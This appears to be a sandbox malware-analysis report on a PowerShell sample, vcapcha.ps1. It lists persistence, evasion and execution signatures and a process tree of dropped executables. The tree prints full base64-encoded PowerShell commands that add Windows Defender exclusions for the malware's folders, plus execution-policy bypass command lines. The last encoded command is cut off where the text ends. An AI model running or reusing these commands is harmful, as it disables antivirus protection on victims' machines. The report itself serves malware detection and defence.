Overview

overview

8

Static

static

1

vcapcha.ps1

windows10-2004-x64

8

vcapcha.ps1

windows11-21h2-x64

8

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    28/04/2026, 12:27

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    vcapcha.ps1
  • Size 5KB
  • Sample260428-pm75eadt2n
  • SHA256 b3070a8d7983d7bc434d6aa5a765bc636bbcfd34fae00b4e972679ab00f0892f
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
defense_evasionexecutionpersistence

Malware Config

Signatures

  • Badlisted process makes network request 7 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 3 IoCs
  • Executes dropped EXE 4 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\vcapcha.ps1
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4320
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kjsu5p3m\kjsu5p3m.cmdline"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1300
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2621.tmp" "c:\Users\Admin\AppData\Local\Temp\kjsu5p3m\CSC636129CE11664437A39114CCCF41E88E.TMP"
        3⤵
          PID:4392
      • C:\Users\Admin\AppData\Local\Temp\MyUpdaterApp_upd_1.4.19.exe
        "C:\Users\Admin\AppData\Local\Temp\MyUpdaterApp_upd_1.4.19.exe"
        2⤵
        • Drops startup file
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5032
        • C:\Users\Admin\AppData\Local\Programs\FolderSvc\ProtectEvaluate.exe
          "C:\Users\Admin\AppData\Local\Programs\FolderSvc\ProtectEvaluate.exe"
          3⤵
          • Checks computer location settings
          • Drops startup file
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3284
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" -Command "Write-Host 'Admin: ' -NoNewline; ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator); Write-Host 'Execution Policy: ' -NoNewline; Get-ExecutionPolicy"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3744
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -EncodedCommand DQAKAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMADQAKACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAJwBTAHQAbwBwACcADQAKACQAdABhAHIAZwBlAHQAcwAgAD0AIABAACgAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAUAByAG8AZwByAGEAbQBzAFwARgBvAGwAZABlAHIAUwB2AGMAJwAsACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAUAByAG8AZwByAGEAbQBzAFwAUwBlAGEAcgBjAGgATgBvAHcAJwApAA0ACgAkAGwAbwBnAEYAaQBsAGUAIAA9ACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAbQBhAHIAawBzAFwAXABzAG8AdQByAGMAZQBcAFwAcgBlAHAAbwBzAFwAXABQAHIAbwB0AGUAYwB0AEUAdgBhAGwAdQBhAHQAZQBcAFwAYgBpAG4AXABcAHgANgA0AFwAXABSAGUAbABlAGEAcwBlAFwAXABkAGUAZgBlAG4AZABlAHIAXwBjAGgAZQBjAGsALgBsAG8AZwAnAA0ACgAkAG0AYQByAGsAZQByAEYAaQBsAGUAIAA9ACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAFAAcgBvAGcAcgBhAG0AcwBcAFwARgBvAGwAZABlAHIAUwB2AGMAXABcAEMAYQBjAGgAZQBcAFwAZQB4AGMAbAAuAHQAeAB0ACcADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABMAG8AZwAtAEkAbgBmAG8AIAB7AA0ACgAgACAAIAAgAHAAYQByAGEAbQAoAFsAcwB0AHIAaQBuAGcAXQAkAE0AZQBzAHMAYQBnAGUAKQANAAoAIAAgACAAIAAjACAATABvAGcAZwBpAG4AZwAgAGQAaQBzAGEAYgBsAGUAZAAgABMgIABkAG8AIABuAG8AdABoAGkAbgBnAA0ACgB9AA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAQwByAGUAYQB0AGUATQBhAHIAawBlAHIAIAB7AA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAbgB1AGwAbAAgAD0AIABOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAG0AYQByAGsAZQByAEYAaQBsAGUAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEYAaQBsAGUAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQANAAoAIAAgACAAIAAgACAAIAAgAEwAbwBnAC0ASQBuAGYAbwAgACIATQBhAHIAawBlAHIAIABmAGkAbABlACAAYwByAGUAYQB0AGUAZAA6ACAAJABtAGEAcgBrAGUAcgBGAGkAbABlACIADQAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AA0ACgB9AA0ACgANAAoAdAByAHkAIAB7AA0ACgAgACAAIAAgACQAZQB4AGMAbAB1AHMAaQBvAG4AcwAgAD0AIABHAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEUAeABwAGEAbgBkAFAAcgBvAHAAZQByAHQAeQAgAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgADQAKACAAIAAgACAAJABuAG8AcgBtAGEAbABpAHoAZQBkAEUAeABjAGwAdQBzAGkAbwBuAHMAIAA9ACAAJABlAHgAYwBsAHUAcwBpAG8AbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgBUAHIAaQBtAEUAbgBkACgAJwBcACcAKQAgAH0ADQAKACAAIAAgACAAJABhAGwAbABFAHgAYwBsAHUAZABlAGQAIAA9ACAAJAB0AHIAdQBlAA0ACgAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAdABhAHIAZwBlAHQAIABpAG4AIAAkAHQAYQByAGcAZQB0AHMAKQAgAHsADQAKACAAIAAgACAAIAAgACAAIAAkAG4AbwByAG0AYQBsAGkAegBlAGQAVABhAHIAZwBlAHQAIAA9ACAAJAB0AGEAcgBnAGUAdAAuAFQAcgBpAG0ARQBuAGQAKAAnAFwAJwApAA0ACgAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAG4AbwByAG0AYQBsAGkAegBlAGQAVABhAHIAZwBlAHQAIAAtAG4AbwB0AGkAbgAgACQAbgBvAHIAbQBhAGwAaQB6AGUAZABFAHgAYwBsAHUAcwBpAG8AbgBzACkAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABMAG8AZwAtAEkAbgBmAG8AIAAiAEYAbwBsAGQAZQByACAAbgBvAHQAIABlAHgAYwBsAHUAZABlAGQAOgAgACQAbgBvAHIAbQBhAGwAaQB6AGUAZABUAGEAcgBnAGUAdAAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGEAbABsAEUAeABjAGwAdQBkAGUAZAAgAD0AIAAkAGYAYQBsAHMAZQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAfQANAAoADQAKACAAIAAgACAAaQBmACAAKAAkAGEAbABsAEUAeABjAGwAdQBkAGUAZAApACAAewANAAoAIAAgACAAIAAgACAAIAAgAEwAbwBnAC0ASQBuAGYAbwAgACIAQQBsAGwAIABmAG8AbABkAGUAcgBzACAAYQBsAHIAZQBhAGQAeQAgAGUAeABjAGwAdQBkAGUAZAAuACAATgBvACAAYQBjAHQAaQBvAG4AIABuAGUAZQBkAGUAZAAuACIADQAKACAAIAAgACAAIAAgACAAIABDAHIAZQBhAHQAZQBNAGEAcgBrAGUAcgANAAoAIAAgACAAIAAgACAAIAAgAGUAeABpAHQAIAAwAA0ACgAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgAEwAbwBnAC0ASQBuAGYAbwAgACIAUwBvAG0AZQAgAGYAbwBsAGQAZQByAHMAIABtAGkAcwBzAGkAbgBnAC4AIABBAHQAdABlAG0AcAB0AGkAbgBnACAAdABvACAAYQBkAGQAIABtAGkAcwBzAGkAbgBnACAAZQB4AGMAbAB1AHMAaQBvAG4AcwAuAC4ALgAiAA0ACgAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAdABhAHIAZwBlAHQAIABpAG4AIAAkAHQAYQByAGcAZQB0AHMAKQAgAHsADQAKACAAIAAgACAAIAAgACAAIAAkAG4AbwByAG0AYQBsAGkAegBlAGQAVABhAHIAZwBlAHQAIAA9ACAAJAB0AGEAcgBnAGUAdAAuAFQAcgBpAG0ARQBuAGQAKAAnAFwAJwApAA0ACgAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAG4AbwByAG0AYQBsAGkAegBlAGQAVABhAHIAZwBlAHQAIAAtAG4AbwB0AGkAbgAgACQAbgBvAHIAbQBhAGwAaQB6AGUAZABFAHgAYwBsAHUAcwBpAG8AbgBzACkAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABMAG8AZwAtAEkAbgBmAG8AIAAiAEEAZABkAGkAbgBnACAAZQB4AGMAbAB1AHMAaQBvAG4AOgAgACQAdABhAHIAZwBlAHQAIgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAdABhAHIAZwBlAHQAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAdABvAHAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEwAbwBnAC0ASQBuAGYAbwAgACIAUwBVAEMAQwBFAFMAUwA6ACAAQQBkAGQAZQBkACAAZQB4AGMAbAB1AHMAaQBvAG4AIABmAG8AcgAgACQAdABhAHIAZwBlAHQAIgANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABDAHIAZQBhAHQAZQBNAGEAcgBrAGUAcgANAAoAfQAgAGMAYQB0AGMAaAAgAHsADQAKACAAIAAgACAATABvAGcALQBJAG4AZgBvACAAIgBFAFIAUgBPAFIAOgAgACQAXwAiAA0ACgAgACAAIAAgAGUAeABpAHQAIAAxAA0ACgB9AA0ACgA=
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5404
          • C:\Users\Admin\AppData\Local\Temp\79664839-47fb-4199-97a1-0a5db410da7e.exe
            "C:\Users\Admin\AppData\Local\Temp\79664839-47fb-4199-97a1-0a5db410da7e.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:1612
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" -Command "Write-Host 'Admin: ' -NoNewline; ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator); Write-Host 'Execution Policy: ' -NoNewline; Get-ExecutionPolicy"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1176
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -EncodedCommand DQAKAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMADQAKACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAJwBTAHQAbwBwACcADQAKACQAdABhAHIAZwBlAHQAcwAgAD0AIABAACgAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAUAByAG8AZwByAGEAbQBzAFwARgBvAGwAZABlAHIAUwB2AGMAJwAsACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAUAByAG8AZwByAGEAbQBzAFwAUwBlAGEAcgBjAGgATgBvAHcAJwApAA0ACgAkAGwAbwBnAEYAaQBsAGUAIAA9ACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAbQBhAHIAawBzAFwAXABzAG8AdQByAGMAZQBcAFwAcgBlAHAAbwBzAFwAXABQAHIAbwB0AGUAYwB0AEUAdgBhAGwAdQBhAHQAZQBcAFwAYgBpAG4AXABcAHgANgA0AFwAXABSAGUAbABlAGEAcwBlAFwAXABkAGUAZgBlAG4AZABlAHIAXwBjAGgAZQBjAGsALgBsAG8AZwAnAA0ACgAkAG0AYQByAGsAZQByAEYAaQBsAGUAIAA9ACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAFAAcgBvAGcAcgBhAG0AcwBcAFwARgBvAGwAZABlAHIAUwB2AGMAXABcAEMAYQBjAGgAZQBcAFwAZQB4AGMAbAAuAHQAeAB0ACcADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABMAG8AZwAtAEkAbgBmAG8AIAB7AA0ACgAgACAAIAAgAHAAYQByAGEAbQAoAFsAcwB0AHIAaQBuAGcAXQAkAE0AZQBzAHMAYQBnAGUAKQANAAoAIAAgACAAIAAjACAATABvAGcAZwBpAG4AZwAgAGQAaQBzAGEAYgBsAGUAZAAgABMgIABkAG8AIABuAG8AdABoAGkAbgBnAA0ACgB9AA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAQwByAGUAYQB0AGUATQBhAHIAawBlAHIAIAB7AA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAbgB1AGwAbAAgAD0AIABOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAG0AYQByAGsAZQByAEYAaQBsAGUAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEYAaQBsAGUAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQANAAoAIAAgACAAIAAgACAAIAAgAEwAbwBnAC0ASQBuAGYAbwAgACIATQBhAHIAawBlAHIAIABmAGkAbABlACAAYwByAGUAYQB0AGUAZAA6ACAAJABtAGEAcgBrAGUAcgBGAGkAbABlACIADQAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AA0ACgB9AA0ACgANAAoAdAByAHkAIAB7AA0ACgAgACAAIAAgACQAZQB4AGMAbAB1AHMAaQBvAG4AcwAgAD0AIABHAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEUAeABwAGEAbgBkAFAAcgBvAHAAZQByAHQAeQAgAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgADQAKACAAIAAgACAAJABuAG8AcgBtAGEAbABpAHoAZQBkAEUAeABjAGwAdQBzAGkAbwBuAHMAIAA9ACAAJABlAHgAYwBsAHUAcwBpAG8AbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgBUAHIAaQBtAEUAbgBkACgAJwBcACcAKQAgAH0ADQAKACAAIAAgACAAJABhAGwAbABFAHgAYwBsAHUAZABlAGQAIAA9ACAAJAB0AHIAdQBlAA0ACgAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAdABhAHIAZwBlAHQAIABpAG4AIAAkAHQAYQByAGcAZQB0AHMAKQAgAHsADQAKACAAIAAgACAAIAAgACAAIAAkAG4AbwByAG0AYQBsAGkAegBlAGQAVABhAHIAZwBlAHQAIAA9ACAAJAB0AGEAcgBnAGUAdAAuAFQAcgBpAG0ARQBuAGQAKAAnAFwAJwApAA0ACgAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAG4AbwByAG0AYQBsAGkAegBlAGQAVABhAHIAZwBlAHQAIAAtAG4AbwB0AGkAbgAgACQAbgBvAHIAbQBhAGwAaQB6AGUAZABFAHgAYwBsAHUAcwBpAG8AbgBzACkAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABMAG8AZwAtAEkAbgBmAG8AIAAiAEYAbwBsAGQAZQByACAAbgBvAHQAIABlAHgAYwBsAHUAZABlAGQAOgAgACQAbgBvAHIAbQBhAGwAaQB6AGUAZABUAGEAcgBnAGUAdAAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGEAbABsAEUAeABjAGwAdQBkAGUAZAAgAD0AIAAkAGYAYQBsAHMAZQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAfQANAAoADQAKACAAIAAgACAAaQBmACAAKAAkAGEAbABsAEUAeABjAGwAdQBkAGUAZAApACAAewANAAoAIAAgACAAIAAgACAAIAAgAEwAbwBnAC0ASQBuAGYAbwAgACIAQQBsAGwAIABmAG8AbABkAGUAcgBzACAAYQBsAHIAZQBhAGQAeQAgAGUAeABjAGwAdQBkAGUAZAAuACAATgBvACAAYQBjAHQAaQBvAG4AIABuAGUAZQBkAGUAZAAuACIADQAKACAAIAAgACAAIAAgACAAIABDAHIAZQBhAHQAZQBNAGEAcgBrAGUAcgANAAoAIAAgACAAIAAgACAAIAAgAGUAeABpAHQAIAAwAA0ACgAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgAEwAbwBnAC0ASQBuAGYAbwAgACIAUwBvAG0AZQAgAGYAbwBsAGQAZQByAHMAIABtAGkAcwBzAGkAbgBnAC4AIABBAHQAdABlAG0AcAB0AGkAbgBnACAAdABvACAAYQBkAGQAIABtAGkAcwBzAGkAbgBnACAAZQB4AGMAbAB1AHMAaQBvAG4AcwAuAC4ALgAiAA0ACgAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAdABhAHIAZwBlAHQAIABpAG4AIAAkAHQAYQByAGcAZQB0AHMAKQAgAHsADQAKACAAIAAgACAAIAAgACAAIAAkAG4AbwByAG0AYQBsAGkAegBlAGQAVABhAHIAZwBlAHQAIAA9ACAAJAB0AGEAcgBnAGUAdAAuAFQAcgBpAG0ARQBuAGQAKAAnAFwAJwApAA0ACgAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAG4AbwByAG0AYQBsAGkAegBlAGQAVABhAHIAZwBlAHQAIAAtAG4AbwB0AGkAbgAgACQAbgBvAHIAbQBhAGwAaQB6AGUAZABFAHgAYwBsAHUAcwBpAG8AbgBzACkAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABMAG8AZwAtAEkAbgBmAG8AIAAiAEEAZABkAGkAbgBnACAAZQB4AGMAbAB1AHMAaQBvAG4AOgAgACQAdABhAHIAZwBlAHQAIgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAdABhAHIAZwBlAHQAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAdABvAHAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEwAbwBnAC0ASQBuAGYAbwAgACIAUwBVAEMAQwBFAFMAUwA6ACAAQQBkAGQAZQBkACAAZQB4AGMAbAB1AHMAaQBvAG4AIABmAG8AcgAgACQAdABhAHIAZwBlAHQAIgANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABDAHIAZQBhAHQAZQBNAGEAcgBrAGUAcgANAAoAfQAgAGMAYQB0AGMAaAAgAHsADQAKACAAIAAgACAATABvAGcALQBJAG4AZgBvACAAIgBFAFIAUgBPAFIAOgAgACQAXwAiAA0ACgAgACAAIAAgAGUAeABpAHQAIAAxAA0ACgB9AA0ACgA=
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2628
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" -Command "Write-Host 'Admin: ' -NoNewline; ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator); Write-Host 'Execution Policy: ' -NoNewline; Get-ExecutionPolicy"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5756
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -EncodedCommand DQAKAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMADQAKACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAJwBTAHQAbwBwACcADQAKACQAdABhAHIAZwBlAHQAcwAgAD0AIABAACgAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAUAByAG8AZwByAGEAbQBzAFwARgBvAGwAZABlAHIAUwB2AGMAJwAsACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAUAByAG8AZwByAGEAbQBzAFwAUwBlAGEAcgBjAGgATgBvAHcAJwApAA0ACgAkAGwAbwBnAEYAaQBsAGUAIAA9ACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAbQBhAHIAawBzAFwAXABzAG8AdQByAGMAZQBcAFwAcgBlAHAAbwBzAFwAXABQAHIAbwB0AGUAYwB0AEUAdgBhAGwAdQBhAHQAZQBcAFwAYgBpAG4AXABcAHgANgA0AFwAXABSAGUAbABlAGEAcwBlAFwAXABkAGUAZgBlAG4AZABlAHIAXwBjAGgAZQBjAGsALgBsAG8AZwAnAA0ACgAkAG0AYQByAGsAZQByAEYAaQBsAGUAIAA9ACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAFAAcgBvAGcAcgBhAG0AcwBcAFwARgBvAGwAZABlAHIAUwB2AGMAXABcAEMAYQBjAGgAZQBcAFwAZQB4AGMAbAAuAHQAeAB0ACcADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABMAG8AZwAtAEkAbgBmAG8AIAB7AA0ACgAgACAAIAAgAHAAYQByAGEAbQAoAFsAcwB0AHIAaQBuAGcAXQAkAE0AZQBzAHMAYQBnAGUAKQANAAoAIAAgACAAIAAjACAATABvAGcAZwBpAG4AZwAgAGQAaQBzAGEAYgBsAGUAZAAgABMgIABkAG8AIABuAG8AdABoAGkAbgBnAA0ACgB9AA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAQwByAGUAYQB0AGUATQBhAHIAawBlAHIAIAB7AA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAbgB1AGwAbAAgAD0AIABOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAG0AYQByAGsAZQByAEYAaQBsAGUAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEYAaQBsAGUAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQANAAoAIAAgACAAIAAgACAAIAAgAEwAbwBnAC0ASQBuAGYAbwAgACIATQBhAHIAawBlAHIAIABmAGkAbABlACAAYwByAGUAYQB0AGUAZAA6ACAAJABtAGEAcgBrAGUAcgBGAGkAbABlACIADQAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AA0ACgB9AA0ACgANAAoAdAByAHkAIAB7AA0ACgAgACAAIAAgACQAZQB4AGMAbAB1AHMAaQBvAG4AcwAgAD0AIABHAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEUAeABwAGEAbgBkAFAAcgBvAHAAZQByAHQAeQAgAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgADQAKACAAIAAgACAAJABuAG8AcgBtAGEAbABpAHoAZQBkAEUAeABjAGwAdQBzAGkAbwBuAHMAIAA9ACAAJABlAHgAYwBsAHUAcwBpAG8AbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgBUAHIAaQBtAEUAbgBkACgAJwBcACcAKQAgAH0ADQAKACAAIAAgACAAJABhAGwAbABFAHgAYwBsAHUAZABlAGQAIAA9ACAAJAB0AHIAdQBlAA0ACgAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAdABhAHIAZwBlAHQAIABpAG4AIAAkAHQAYQByAGcAZQB0AHMAKQAgAHsADQAKACAAIAAgACAAIAAgACAAIAAkAG4AbwByAG0AYQBsAGkAegBlAGQAVABhAHIAZwBlAHQAIAA9ACAAJAB0AGEAcgBnAGUAdAAuAFQAcgBpAG0ARQBuAGQAKAAnAFwAJwApAA0ACgAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAG4AbwByAG0AYQBsAGkAegBlAGQAVABhAHIAZwBlAHQAIAAtAG4AbwB0AGkAbgAgACQAbgBvAHIAbQBhAGwAaQB6AGUAZABFAHgAYwBsAHUAcwBpAG8AbgBzACkAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABMAG8AZwAtAEkAbgBmAG8AIAAiAEYAbwBsAGQAZQByACAAbgBvAHQAIABlAHgAYwBsAHUAZABlAGQAOgAgACQAbgBvAHIAbQBhAGwAaQB6AGUAZABUAGEAcgBnAGUAdAAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGEAbABsAEUAeABjAGwAdQBkAGUAZAAgAD0AIAAkAGYAYQBsAHMAZQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAfQANAAoADQAKACAAIAAgACAAaQBmACAAKAAkAGEAbABsAEUAeABjAGwAdQBkAGUAZAApACAAewANAAoAIAAgACAAIAAgACAAIAAgAEwAbwBnAC0ASQBuAGYAbwAgACIAQQBsAGwAIABmAG8AbABkAGUAcgBzACAAYQBsAHIAZQBhAGQAeQAgAGUAeABjAGwAdQBkAGUAZAAuACAATgBvACAAYQ